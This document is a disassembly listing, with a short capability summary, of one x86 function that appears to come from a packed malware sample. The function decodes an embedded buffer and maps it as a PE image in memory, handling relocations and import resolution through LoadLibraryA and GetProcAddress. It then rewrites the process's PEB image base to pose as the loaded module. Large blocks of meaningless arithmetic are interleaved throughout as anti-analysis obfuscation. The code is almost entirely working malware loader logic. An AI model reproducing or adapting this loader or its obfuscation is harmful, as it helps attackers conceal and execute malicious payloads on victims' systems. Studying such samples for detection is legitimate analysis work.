Function at 0x40f000
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x178
mov eax, dword [ebp + 8]
bswap edi
rcr eax, 0xa0
dec edi
rol ebx, 0x45
ror esi, 0x5d
bswap eax
dec edx
rcl ebx, 0xfc
not eax
dec eax
sbb edx, 0xb7
sbb ebx, 0x6c
neg edx
dec esi
sbb eax, 0xbd
inc ebx
imul eax
rol ebx, 0xf4
not ebx
inc edi
rol edi, 0xec
sbb edx, 0xd3
inc ebx
rol esi, 0x85
and eax, 0x9e
mov edi, 0x35
ror edi, 0x15
not ebx
sub eax, 0xb6
sbb edi, 2
or esi, 0xd7
mov edx, 0xb9
sub ebx, 0x72
sub ebx, 0xf7
ror edx, 0x90
imul edx
bswap edx
imul edx
rol esi, 0xae
neg ebx
neg eax
add edx, 0xcb
sub esi, 3
mov esi, 0x77
not esi
rcr esi, 0xc4
not edi
rcr edi, 0xfc
sbb edi, 0xcb
and esi, 5
not eax
rcr esi, 0xd4
ror edx, 0x3d
neg edi
rcl ebx, 0xa6
dec eax
imul ebx
bswap esi
neg edi
sub ebx, 0xce
rcr esi, 0x45
bswap edi
add ebx, 0x9a
imul edx
rol ebx, 0xc3
rcl edi, 0x47
rcr esi, 0xc5
dec edx
not edi
and edx, 0x74
bswap edx
dec esi
not eax
bswap esi
mov edx, 0xce
rcl esi, 0x26
inc esi
imul edi
bswap edi
ror esi, 0x27
not edi
sbb edx, 0x52
sub esi, 0x1e
sbb esi, 0xab
mov ebx, 0x9f
dec edi
or edx, 0x7a
imul edx
bswap ebx
not edx
rcl esi, 0x10
imul eax
dec edi
inc esi
sub eax, 0xe5
bswap eax
and eax, 0x97
add edx, 0xe8
not esi
inc esi
mov eax, 0x77
bswap eax
bswap edx
bswap edi
sbb esi, 0xa0
rcl edi, 0xe9
rcr edx, 0xe0
imul edi
rol eax, 0xac
inc eax
imul ebx
inc ebx
not ebx
not esi
dec ebx
sbb esi, 0xa6
neg eax
imul edi
sub esi, 0x33
sub esi, 0xc
or ebx, 0x8d
sbb edi, 0xb7
imul eax
not edx
rcl edx, 0x6d
neg edx
imul edx
bswap esi
bswap eax
add esi, 0xf8
and esi, 0xb4
rcl edx, 0xd2
rcl eax, 0xef
sbb eax, 0xfe
add ebx, 0x42
mov edi, 0x26
rcl eax, 0x2d
dec edx
imul edx
neg ebx
rcl edi, 0xa5
rcr ebx, 0x32
sub esi, 0xf3
neg edi
inc edi
bswap edi
dec edi
sbb eax, 0x42
rol eax, 0xcd
add edx, 0x97
rcr edi, 0x49
rcr edx, 0xf2
dec ebx
dec eax
sub ebx, 0x6e
rcr edi, 0xed
neg esi
rcl edi, 0xd9
and edi, 0x7a
inc ebx
imul ebx
not ebx
or edx, 0xb2
or ebx, 0x5f
neg eax
bswap eax
rcr esi, 0x25
sub ebx, 0x77
rcr edx, 0x30
sub eax, 0xe6
dec edx
not edi
neg esi
inc edx
imul edx
mov esi, 0xbb
imul ebx
inc edx
or edi, 0x34
or ebx, 0x7d
not eax
sbb edx, 0x7a
rcr eax, 0x3c
mov edi, 0x1b
add edi, 0xd9
add edi, 0xa8
neg edx
bswap eax
inc ebx
rol eax, 0x6a
sub eax, 0xaa
neg edi
ror esi, 0x7c
bswap edx
neg eax
dec ebx
neg esi
imul eax
not edi
bswap edx
mov dword [ebp - 0x10], eax
lea eax, str.._b_OVJRXMPQJRIVJIRGNijqp_rjvqoiwnriqwuqwvcRQOWJRXIPQJRIVJIRG6ijqp
mov dword [esp], eax
mov dword [esp + 4], 0x44600
call section..text
lea eax, str.._b_OVJRXMPQJRIVJIRGNijqp_rjvqoiwnriqwuqwvcRQOWJRXIPQJRIVJIRG6ijqp
mov dword [ebp + 8], eax
inc esi
mov edi, 0xc1
neg esi
dec ebx
imul edx
dec esi
add edi, 0x89
neg edx
imul edi
ror ebx, 0xfd
inc edx
imul edi
ror eax, 0x85
sbb edi, 0x51
not eax
and esi, 0x37
inc edx
inc esi
dec esi
ror ebx, 6
and eax, 0xca
rcr edi, 0x65
rcr edx, 0x30
neg edi
neg eax
add esi, 0x4a
imul edx
inc edi
inc edi
rcl eax, 0xb0
add edx, 0xd2
add esi, 0x29
dec eax
neg eax
bswap edx
bswap esi
sub eax, 0x6c
not edi
and eax, 0xb2
sub esi, 0x84
sbb edx, 0x12
inc esi
imul ebx
or edx, 0x44
neg ebx
not ebx
rcr edx, 0x2c
rcr eax, 0xbe
ror ebx, 0xc8
and eax, 0x21
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0x4550
je 0x40f317
mov dword [ebp - 0x10], 1
jmp 0x410798
lea eax, [ebp - 0x28]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00402960
lea eax, [ebp - 0x6c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00402960
mov dword [ebp - 0x6c], 0x44
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x74], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x70], 0
je 0x40f390
xor eax, eax
mov dword [ebp - 0x16c], eax
jmp 0x40f39c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x16c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x70], 0
jne 0x40f3f0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x34]
je 0x40f3f0
mov dword [ebp - 0x10], 2
jmp 0x410798
rcr edi, 0xa6
ror esi, 0x66
not eax
and eax, 0xc7
add esi, 0xf2
mov edi, 0xf6
or edx, 0x51
and ebx, 0xa0
neg eax
rcl esi, 0x96
or edx, 0x14
neg esi
bswap edx
inc edx
or edx, 0x26
bswap edx
sub edi, 0x74
rol edx, 0xb1
imul edi
mov eax, 0x22
rcr esi, 0xc2
inc esi
inc eax
ror eax, 0xe8
neg eax
sbb edi, 0xc5
or ebx, 0x6a
sbb esi, 0xb2
rcr edi, 0x34
not eax
not ebx
dec esi
not esi
neg esi
bswap esi
mov ebx, 0xcf
or eax, 0xa7
inc eax
bswap ebx
not eax
add ebx, 6
add esi, 0xdc
inc edx
inc ebx
add esi, 0x34
and edi, 0x3c
dec esi
inc edx
and esi, 0xd6
add edi, 0x6e
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00402ac0
imul eax
imul esi
neg ebx
rcr eax, 0x66
sub ebx, 0x7c
neg edi
mov eax, 0x94
sub eax, 0x5c
not edx
dec edi
rol esi, 0x77
bswap eax
rol eax, 0xf3
sbb esi, 0x40
dec ebx
sub eax, 0xae
rol edx, 0x83
imul edi
imul edx
and edi, 0x6f
inc esi
mov edi, 0xf5
bswap esi
imul ebx
rcl edx, 0x2f
and esi, 0xed
rcl esi, 0x75
inc esi
mov edi, 0xee
neg eax
not eax
rcl eax, 0x9f
rcr eax, 0x56
and eax, 0xc7
sbb edx, 0x5d
sub edx, 0x7d
inc ebx
rcr ebx, 0x78
neg esi
neg edi
sbb ebx, 0x6b
and edx, 0xb3
inc edx
or edi, 0xfc
imul esi
imul edx
rcl eax, 0x1f
inc edi
ror esi, 7
rol edi, 0x5c
neg eax
sbb ebx, 0x80
or esi, 0xc6
and edx, 0x14
dec esi
dec esi
mov edi, 0xb5
bswap edi
sub esi, 0x87
ror ebx, 0x7a
sub ebx, 0x35
rcl edi, 0xd2
sub ebx, 0x6b
add ebx, 0x60
not esi
inc eax
and edx, 0xde
inc ebx
dec ebx
and edi, 0x37
rcr edi, 0x98
add ebx, 0x4d
add edi, 0x4d
bswap eax
inc eax
dec eax
rol esi, 0
rol edi, 0xfd
rcl eax, 0x28
sbb edi, 0xa
add ebx, 0x67
inc edx
rcr ebx, 0x65
sub ebx, 0xa1
sub edx, 0xda
imul edx
add esi, 0xb7
imul ebx
bswap edi
dec esi
rcl esi, 0x7f
rcr ebx, 0xab
bswap ebx
not eax
not eax
neg eax
rcl edx, 0xa4
imul edi
sub edi, 0xe7
rcr ebx, 0x31
rcl eax, 0xe0
or edi, 0xb6
not ebx
ror eax, 0x8c
rol edi, 0xdf
bswap edx
dec eax
inc esi
imul ebx
bswap eax
add esi, 0xa3
rol eax, 0xc0
add esi, 0xa8
rcr eax, 0xc
neg edi
and edx, 0x73
neg esi
sbb ebx, 0x38
rcr eax, 0x83
dec edx
rol edi, 0x9c
rcr edi, 9
imul eax
mov ebx, 0x2e
or ebx, 0x5e
rcr edi, 0x87
rcr eax, 0xa0
bswap edx
or eax, 0x5a
bswap edx
add edi, 0xff
neg eax
neg esi
bswap edi
mov edi, 0x2f
rcr edx, 1
and esi, 0x15
and esi, 0x15
inc edx
or ebx, 0x43
neg edi
or eax, 0x2f
bswap edi
rol edi, 0x7f
add edi, 0xe5
neg esi
not edi
imul ebx
or edx, 0xf1
neg edi
not ebx
sub esi, 0xb
rol esi, 0xb7
bswap edx
or edx, 0x32
dec edx
sub esi, 0xc0
not edi
not esi
sbb esi, 0xb2
inc edx
sbb edi, 0x89
neg edi
rol edx, 0x74
inc ebx
dec ebx
inc eax
bswap edi
sub ebx, 0x67
inc ebx
rcl esi, 0x22
not esi
rcr edi, 0x21
dec edi
bswap edi
neg eax
or esi, 0xea
dec ebx
rcl edx, 0x49
ror eax, 0x41
add ebx, 0x97
sbb edx, 0x35
add eax, 0xae
rol ebx, 0x5e
rcr eax, 0xe6
bswap edx
not edi
sub edi, 0x36
sub eax, 0xb6
rcr edx, 0xed
dec edi
rol eax, 0x82
add edi, 0xf3
neg eax
inc ebx
not eax
imul eax
dec edi
or ebx, 0x55
or ebx, 0x89
inc edx
ror eax, 0x25
rcl eax, 0xd9
ror eax, 0x78
rcr edi, 0x77
inc ebx
imul ebx
bswap edi
rcr ebx, 0xf2
not esi
or esi, 0xbb
rcr ebx, 0x86
rcl edi, 0xbc
neg edx
bswap esi
sub esi, 0xab
rcl edi, 0x40
dec eax
bswap esi
dec ebx
ror edx, 0x83
ror edi, 0x4a
inc ebx
bswap ebx
neg ebx
add eax, 0xf2
not edx
rcr edx, 0x3b
not ebx
ror ebx, 0xd5
or edi, 0x5b
sub edx, 0xa4
imul eax
inc eax
neg eax
ror edx, 0xfc
inc edi
neg ebx
inc esi
inc ebx
or edi, 0x79
sbb ebx, 0x3a
imul edx
bswap edi
mov ebx, 0xb8
rcl eax, 0xb
or esi, 0x2e
rcl esi, 0x2f
inc eax
imul eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add eax, 0x18
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x40f7cd
mov edx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
imul ecx, dword [ebp - 0x80], 0x28
add eax, ecx
add edx, dword [eax + 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x7c]
imul esi, dword [ebp - 0x80], 0x28
add eax, esi
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x7c]
imul esi, dword [ebp - 0x80], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00402ac0
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
jmp 0x40f773
and esi, 0x26
or edx, 0x89
rcl esi, 0x84
inc eax
not esi
and edx, 0x47
imul eax
neg edx
inc edi
not esi
rcr edx, 0x92
add eax, 3
rcl esi, 0x60
ror edx, 0
rcl eax, 0xed
neg ebx
inc eax
and esi, 0x92
rcl edx, 0xb2
not eax
neg ebx
ror edi, 0xb7
sub edi, 0xad
mov esi, 0x1c
or eax, 0xa8
not ebx
rol edi, 0xd5
neg esi
or edx, 0xec
rol esi, 0xdf
and eax, 0x38
sbb eax, 0xa7
sbb ebx, 0x1e
ror esi, 0x73
dec edx
rcr ebx, 0x7f
dec eax
mov ebx, 0x66
dec esi
inc edi
sub edi, 0xf8
rcr ebx, 0x96
imul edi
and eax, 0x5b
sbb edx, 0x1e
imul eax
add edi, 0xfd
dec edx
neg esi
rcl esi, 0x67
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x34]
je 0x40f97e
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x18]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x74]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x70]
jae 0x40f979
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x88]
add eax, dword [ecx]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x88]
add eax, 8
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x9c], 0
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x94]
jge 0x40f953
mov eax, dword [ebp - 0x98]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x40f930
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x98]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
add eax, 2
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x9c]
add eax, 1
mov dword [ebp - 0x9c], eax
jmp 0x40f8e5
mov eax, dword [ebp - 0x88]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x8c]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x88], eax
jmp 0x40f898
jmp 0x40f97e
dec esi
or edi, 0x66
dec ebx
neg ebx
imul edx
bswap edi
inc esi
not esi
neg eax
inc esi
not esi
neg edi
dec edx
mov eax, 0xc1
or edi, 0xe6
bswap ebx
sbb esi, 0xac
bswap edi
not eax
inc edi
rol ebx, 0xa0
rcl edx, 0xa7
or edi, 0x25
and edx, 0x4b
neg eax
inc ebx
and ebx, 0x1d
bswap edx
sub esi, 0x4b
inc ebx
add edx, 0x75
rcl edx, 0x4c
imul esi
dec edi
mov ebx, 0xef
or ebx, 0xc5
inc ebx
not edx
dec eax
dec edi
sbb edx, 7
imul edi
or ebx, 0xa4
bswap edi
not edi
or ebx, 0x6b
rol esi, 0xe7
inc edi
rcr esi, 0xb1
sub esi, 3
inc esi
neg edi
rol edx, 0x5d
mov edx, 0x45
inc esi
rcr eax, 7
bswap eax
sub ebx, 0x94
rcr eax, 0x87
or edi, 0x85
bswap edi
and esi, 0xb1
add eax, 0x47
dec esi
add ebx, 0x2a
and eax, 0x37
rcl eax, 0x7f
sub edi, 0
rcl edx, 0xe7
sub eax, 0xbc
or ebx, 0x29
dec ebx
sbb edx, 0x28
mov edx, 0x47
inc edi
sub esi, 0xc8
sbb ebx, 0xcb
dec edx
bswap esi
inc edx
sbb edi, 0xc1
add eax, 0x34
rcr esi, 0x9b
inc esi
and esi, 0xa9
or esi, 0x52
mov esi, 0x7f
and eax, 0x81
ror edi, 0xd8
mov eax, 0x4e
imul edi
imul edi
dec ebx
dec eax
bswap edx
bswap ebx
imul ebx
inc esi
neg ebx
sub edx, 0x64
bswap edi
imul edx
inc edi
and eax, 0x12
or ebx, 0xf7
sbb ebx, 0x5d
mov ebx, 6
rol edi, 0x25
imul esi
imul eax
and eax, 0x7a
bswap edi
imul edx
inc ebx
or edi, 0xa8
rol edx, 0xe1
add edx, 0x4e
add edx, 0x52
mov eax, 0xa6
bswap edi
neg edi
add esi, 0xe3
rcl eax, 0x30
sub ebx, 0x6e
add edx, 0x45
sbb edi, 0xdb
not edi
add esi, 0x34
imul ebx
bswap eax
bswap edx
rol edi, 0x1f
imul esi
rol edi, 0x65
neg esi
rcr eax, 0xb3
inc esi
mov edi, 0xda
not edx
bswap edi
not esi
sbb esi, 0xde
inc eax
sub edx, 0xc5
dec esi
neg edi
not edx
not esi
imul esi
rcl ebx, 0xf4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0xa0]
imul ecx, dword [ebp - 0xa4], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x40fca4
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xa0]
imul edx, dword [ebp - 0xa4], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jne 0x40fb9c
jmp 0x40fc90
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xa0]
imul edx, dword [ebp - 0xa4], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
cmp dword [eax + ecx*4], 0
je 0x40fc8b
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0xb4]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0xac]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x40fc4f
mov eax, dword [ebp - 0xb8]
add eax, 2
mov ecx, dword [ebp - 0xac]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0xa0]
imul esi, dword [ebp - 0xa4], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0xb4]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
add eax, 1
mov dword [ebp - 0xb4], eax
jmp 0x40fbc1
jmp 0x40fc90
mov eax, dword [ebp - 0xa4]
add eax, 1
mov dword [ebp - 0xa4], eax
jmp 0x40fb3e
mov dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x40fe1d
mov dword [ebp - 0xc8], 0x40
mov eax, dword [ebp - 0x7c]
imul ecx, dword [ebp - 0xc4], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
and eax, 0x40000000
cmp eax, 0
je 0x40fd2d
mov eax, dword [ebp - 0xcc]
and eax, 0x80000000
cmp eax, 0
je 0x40fd2d
mov eax, dword [ebp - 0xcc]
and eax, 0x20000000
cmp eax, 0
je 0x40fd2d
mov dword [ebp - 0xc8], 0x40
jmp 0x40fdc8
mov eax, dword [ebp - 0xcc]
and eax, 0x40000000
cmp eax, 0
je 0x40fd64
mov eax, dword [ebp - 0xcc]
and eax, 0x80000000
cmp eax, 0
je 0x40fd64
mov dword [ebp - 0xc8], 4
jmp 0x40fdc3
mov eax, dword [ebp - 0xcc]
and eax, 0x40000000
cmp eax, 0
je 0x40fd9b
mov eax, dword [ebp - 0xcc]
and eax, 0x20000000
cmp eax, 0
je 0x40fd9b
mov dword [ebp - 0xc8], 0x20
jmp 0x40fdbe
mov eax, dword [ebp - 0xcc]
and eax, 0x40000000
cmp eax, 0
je 0x40fdb9
mov dword [ebp - 0xc8], 2
jmp 0x40fdbe
jmp 0x40fdc3
jmp 0x40fdc8
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x7c]
imul edx, dword [ebp - 0xc4], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
imul edi, dword [ebp - 0xc4], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0xc0]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00401de0
mov eax, dword [ebp - 0xc4]
add eax, 1
mov dword [ebp - 0xc4], eax
jmp 0x40fcae
not edi
rcr eax, 0x29
not edx
imul edx
and edi, 0xe9
rcr ebx, 0x8c
imul edi
or ebx, 0x91
inc eax
rcr edx, 0x3f
dec edx
dec edx
bswap eax
not eax
inc esi
imul eax
and edx, 0x69
rcl esi, 0x5d
rcr edx, 0xee
add ebx, 0xf6
bswap ebx
add eax, 0x69
neg esi
rol esi, 0x3e
bswap esi
mov esi, 0x14
rol eax, 0x41
rol edi, 0x10
and esi, 0xba
mov edx, 0x17
inc esi
or ebx, 0x7b
bswap edx
neg edi
inc edx
imul ebx
imul ebx
bswap ebx
not edx
not eax
sbb eax, 0x92
neg ebx
imul edx
dec edi
mov esi, 0x16
rol edx, 0x84
neg edx
imul eax
neg edi
ror eax, 0x8a
rol edx, 0xf5
sbb edx, 0x66
and ebx, 0xaa
imul esi
ror edx, 0x3b
dec edi
not edi
mov edx, 0xe4
bswap ebx
rcl eax, 4
inc edx
dec eax
ror eax, 0x1b
rcr ebx, 0x63
mov ebx, 0x44
neg ebx
inc edx
not esi
rol edx, 0x66
add edi, 0x91
rcr ebx, 0xab
rcr ebx, 0xf0
bswap eax
rcr eax, 0x21
neg edi
rcr eax, 0xb8
neg edx
mov edi, 0xa4
rol eax, 0x9a
dec ebx
not esi
rol eax, 0x2d
add eax, 0x19
not ebx
sub eax, 0xa5
dec edx
not esi
ror esi, 0xb7
rcl edx, 0x13
add esi, 0x1d
imul ebx
sbb edi, 0x1a
imul eax
ror edi, 0x90
neg ebx
rol edx, 5
rcr ebx, 0x2a
rcl edi, 0xb3
sbb edi, 0xc0
sub ebx, 0x88
sbb eax, 0xdf
mov esi, 0xe0
sbb edi, 0xcd
imul ebx
not esi
add edx, 0xa1
mov edx, 2
dec edi
neg eax
ror ebx, 0x1b
bswap edx
sub edx, 0x4e
inc ebx
ror edx, 0xda
sbb eax, 0x26
not ebx
not edi
mov esi, 0xa6
ror ebx, 0x60
and edx, 0x76
rol edx, 0xff
sub edx, 8
and eax, 0x50
not edi
rcl eax, 0xd9
imul eax
add ebx, 0x9d
bswap edx
inc ebx
rcl ebx, 0xe4
rcr eax, 0x53
dec edi
neg edi
not ebx
dec esi
add esi, 0xaf
neg edx
or ebx, 8
imul edx
imul eax
imul edx
dec esi
not edi
bswap edi
dec edx
mov esi, 0x89
not ebx
sub ebx, 0xdb
neg esi
imul edx
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0xd8], eax
dec edi
rol ebx, 0xe
add edx, 0xca
rcl eax, 0x60
imul edi
and eax, 0xb2
neg edi
rol edx, 0xf9
not eax
ror ebx, 0xbd
rcr edx, 0x57
neg ebx
neg ebx
imul esi
and esi, 0x34
imul ebx
imul edi
rcl esi, 0xdc
imul edi
dec edi
imul edx
not edx
rcr ebx, 0x60
sbb edi, 0x74
not esi
or esi, 0x3e
inc edx
ror edi, 0x57
not edi
rcl esi, 0x4d
mov ebx, 0xd8
neg esi
dec ebx
ror eax, 0x66
not ebx
inc eax
not eax
and eax, 0x6b
not edx
dec edx
neg ebx
imul edi
not edx
sub edx, 0xe9
not edi
inc eax
dec eax
sbb edx, 0xc4
bswap ebx
rol esi, 0x7a
sub ebx, 0x47
add esi, 0x4e
inc edx
not eax
imul esi
neg eax
rcl edi, 0xcf
rol eax, 0xd6
inc edx
or ebx, 0xe4
neg edi
neg ebx
not edx
neg ebx
ror ebx, 0xbf
add edx, 0xae
neg esi
rcl ebx, 0xc
bswap edi
sub esi, 0x60
dec esi
sbb eax, 0x10
add esi, 0xcd
dec ebx
bswap esi
rol ebx, 0x6b
dec eax
not esi
rol esi, 0x32
inc edx
sbb ebx, 0x3d
imul eax
bswap edi
and esi, 0xf
bswap esi
dec edx
or ebx, 0x98
dec ebx
imul edi
neg esi
dec edi
bswap edi
inc edx
bswap edx
dec edx
rcr esi, 0x2e
mov ebx, 0xcf
or eax, 0xaf
neg edx
inc eax
dec edx
or ebx, 0xde
not edi
neg eax
or eax, 0xb3
sbb edx, 0x90
dec esi
mov edx, 0x70
bswap eax
rol esi, 0xa6
rol esi, 0x52
neg eax
rcr edi, 0x9e
bswap esi
bswap eax
neg edi
neg esi
dec esi
rcr edx, 0xa3
neg ebx
and edi, 0x13
bswap ebx
rcl edi, 0x2e
dec esi
neg ebx
rol ebx, 0xcf
sub esi, 0xed
mov ebx, 0x2a
neg edx
inc esi
neg edi
imul eax
ror edx, 0xa4
dec eax
not edi
not edx
rcr ebx, 0x16
dec ebx
sbb ebx, 0x5b
sub edi, 0xd2
rol edx, 2
add edx, 0x53
rcr eax, 0x7d
mov eax, 0x63
ror eax, 0xf2
rol eax, 0x81
imul edi
rcr ebx, 0x68
not edi
sbb edi, 0xdb
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0xd0]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0xd8]
add eax, 0x24
mov dword [ebp - 0xdc], eax
dec edx
neg ebx
dec edi
mov esi, 0x62
ror esi, 0x70
bswap esi
ror ebx, 0x4f
neg ebx
inc eax
sbb edi, 0x5c
neg edi
or ebx, 0x5c
mov eax, 0x44
mov esi, 0x93
mov edi, 0x5b
rcr ebx, 0xf4
and esi, 0x9d
bswap edx
imul ebx
sbb eax, 0xac
dec edi
not eax
and edi, 0x39
neg edi
neg edi
not edi
neg edi
mov edi, 0x56
rcr edx, 0x13
imul edx
and ebx, 0xad
ror ebx, 0x82
inc ebx
inc esi
neg ebx
neg eax
or esi, 0x66
inc edi
mov ebx, 0xfa
neg eax
neg ebx
ror edi, 0x58
and ebx, 0x35
not ebx
inc eax
sbb esi, 3
neg esi
inc ebx
neg eax
and eax, 0x7f
add edi, 2
dec eax
dec esi
dec eax
or ebx, 0x87
ror esi, 0xd
rcl ebx, 0x25
not eax
not esi
dec eax
dec edx
add ebx, 0xe4
ror edi, 0x5f
or edi, 0x95
inc edx
neg ebx
and eax, 0xa
imul eax
neg esi
and esi, 0xe5
rcl eax, 0x20
neg eax
rcl edx, 0xf0
or edx, 0x73
sbb ebx, 0xae
not esi
rcl ebx, 0xeb
neg ebx
inc esi
inc edi
imul edx
or edi, 0x12
and edx, 0x33
rol esi, 0xc6
imul eax
bswap eax
sbb edx, 0x7d
not edi
neg edx
bswap ebx
sub esi, 0x43
not edx
inc esi
or ebx, 0x60
rcl ebx, 0x15
rcr ebx, 0x24
rcl edx, 0x59
dec esi
dec edi
imul esi
rcl edi, 0x1b
sbb eax, 0x3d
not edi
rcl edx, 0x6f
sub eax, 0x55
rcl edx, 0x82
inc eax
sbb edx, 0x69
inc edx
and ebx, 0x54
inc edi
rcl esi, 0x4d
inc edi
or ebx, 0x43
bswap edi
rcr edi, 0xf4
sbb edx, 0
neg edx
dec ebx
or esi, 0xf8
sbb edi, 0x80
sub edi, 0xa6
ror edx, 0xc9
dec ebx
mov edx, 0xe2
sbb edx, 0x88
dec edx
neg eax
rol ebx, 0x3b
dec edx
not edi
add edx, 0xc4
mov eax, 0x3f
not ebx
ror eax, 0x65
inc edx
add edi, 0xd2
sbb edx, 0xff
imul edi
mov ebx, 0x62
sbb edi, 0xfb
add esi, 0xdb
sub esi, 0x21
imul edi
sbb edi, 0x2e
mov esi, 0x81
imul esi
rcr esi, 0xc7
ror ebx, 0x76
bswap esi
